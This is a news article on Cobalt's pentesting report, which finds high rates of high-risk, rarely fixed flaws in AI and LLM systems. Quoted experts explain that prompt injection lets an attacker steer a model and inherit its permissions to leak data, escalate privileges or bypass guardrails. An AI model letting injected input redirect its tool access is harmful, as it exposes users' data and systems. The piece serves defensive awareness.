Penetration tests of AI-based systems are revealing a greater percentage of high-risk flaws than those discovered in legacy systems. Security consultancy Cobalt’s annual State of Pentesting Report reveals that 32% of all AI and large language model (LLM) findings are rated as high risk — nearly 2.5 times the rate (13%) of severe flaws found in enterprise security tests more generally. LLM vulnerabilities also have the lowest resolution rate of all app types pen-tested, with just 38% of high-risk issues fixed, according to data collected during pen tests conducted by Cobalt. Furthermore, one in five organizations surveyed by Cobalt reported experiencing an LLM security incident in the past year, with a further 18% “unsure” and 19% preferring not to answer. Third-party security experts quizzed by CSO say Cobalt’s findings align with what they’ve seen on the ground. “AI systems are being rolled out quickly, but often without the same mature security controls, testing discipline, and governance applied to conventional enterprise software,” says Benny Lakunishok, CEO and co-founder of Zero Networks. “That naturally increases the share of serious findings.” William Wright, CEO of penetration testing firm Closed Door Security, argues that the main issue comes from vibe coders writing systems. “AI only does what it’s told, for the most part, and systems that get deployed are usually cobbled together by people without the technical knowledge,” Wright adds. “The same people then are expected to fix the issue, so it’s a vicious circle.” David Girvin, AI security researcher at Sumo Logic, agrees. “LLM-driven systems are showing a higher percentage of high-risk findings because we’ve essentially taken a probabilistic engine, plugged it directly into business workflows, and hoped it behaves,” he says. “That’s not a security strategy.” Emerging attack surfaces, larger blast radius The top concern is prompt injection, now ranked by OWASP as the No. 1 risk for LLM applications, with reports on bug bounty platform HackerOne surging more than six-fold (540%) year over year. “While the headline issue is prompt injection, the broader concern here is whether attackers can use the model as an entry point to bypass guardrails, leak data, manipulate decisions, or trigger unintended behavior across integrated workflows,” says Taegh Sokhey, staff project manager for AI security at HackerOne. Experts say there are several main reasons AI systems tend to generate a higher percentage of high-risk vulnerabilities: AI systems introduce newer attack surfaces many organizations are still learning to defend. These risk vectors include prompt injection, insecure plug-ins, data leakage, model supply-chain risk, unsafe agent behavior, excessive permissions, and over-trusted integrations with internal systems. The blast radius for AI system flaws can be much larger when something goes wrong. Many LLM deployments are connected to internal knowledge bases, workflows, code repositories, customer data, or privileged tools. That means a single weakness can expose multiple systems. AI system vulnerability remediation ownership is often fragmented. “AI initiatives typically span engineering, security, legal, procurement, and business teams,” according to Zero Networks’ Lakunishok. “That slows fixes and helps explain why remediation rates are lower than for traditional applications.” No remediation playbook Adrian Furtuna, founder and CEO at Pentest-Tools.com, underscores that Cobalt’s finding of low remediation rates for LLMs and AIs is more telling than the high-risk rate. “A 38% fix rate for high-risk LLM findings is low even by the standards of application security, where remediation has always lagged discovery,” Furtuna says. “What that gap reflects is that development teams don’t yet have established patterns for fixing LLM vulnerabilities the way they do for, say, SQL injection or XXE [XML External Entity injection].” When a developer sees a traditional system injection issue, they know the remediation playbook, but there is no established procedure for resolving flaws in AI-based systems. “When they see a prompt injection chain or an insecure tool call boundary, they often don’t [have a playbook], and that uncertainty stalls action even when the severity rating is clear,” Furtuna notes. Architecture and maturity factors also play a role in AI systems throwing up a greater percentage of high-risk vulnerabilities. Moreover, LLM integrations concentrate trust in ways that traditional application components avoid. As a result, the attack surface broadens, and trust boundaries are often implicit rather than explicitly enforced, magnifying the impact of any flaws, Furtuna says. “A model that has access to internal tools, retrieval pipelines, and external APIs represents a large-radius blast zone if its input handling is weak,” he adds. “Prompt injection in that context isn’t a nuisance — it’s a path to data exfiltration, privilege escalation, or supply chain manipulation, depending on what the model can reach.” Secure development practices for LLM integrations are still forming, an immaturity or knowledge gap that shows up directly in pen test findings. “The OWASP LLM Top 10 is relatively recent,” Furtuna explains. “Most developers building on top of foundation models are doing so without the equivalent of decades of institutional knowledge about input validation, output handling, and authorization boundary design that exists for web applications.” LLMs collapse trust boundaries — lacking the predictable input/output flows of regular legacy apps — a problem compounded by the wide-ranging permissions routinely granted to AI systems. “Most organizations try to secure agents and LLM systems at the identity layer, give the model a role and hope guardrails hold,” says Sumo Logic’s Girvin. “But if an attacker can steer the model — prompt injection, social engineering, etc. — they inherit its permissions. That’s why the impact spikes.” HackerOne’s Sokhey adds: “AI applications are producing a disproportionate number of high-risk issues because they create an entirely new layer of attack surface, one that is non-deterministic, rapidly changing, and often connected to sensitive data, internal systems, and autonomous actions.” Countermeasures Experts advise CISOs to stop skipping security hardening in a rush to implement AI and instead treat AI systems as production systems rather than experiments. “That means threat modeling before deployment, red teaming and adversarial testing throughout the lifecycle, least-privilege access for models and agents, strong identity controls, segmentation around sensitive data, continuous monitoring, and rapid containment mechanisms when abnormal behaviour is detected,” says Zero Networks’ Lakunishok. Pentest-Tools.com’s Furtuna argues that established best practices can be applied to the new architecture of LLMs provided they are deliberately designed into the systems from the get-go rather than bolted on as an afterthought. “Strict tool call schemas, explicit output validation before downstream actions execute, human approval gates on high-consequence operations, and minimal privilege for model-accessible integrations all limit what a successfully exploited prompt injection can actually reach,” Furtuna says. View the full article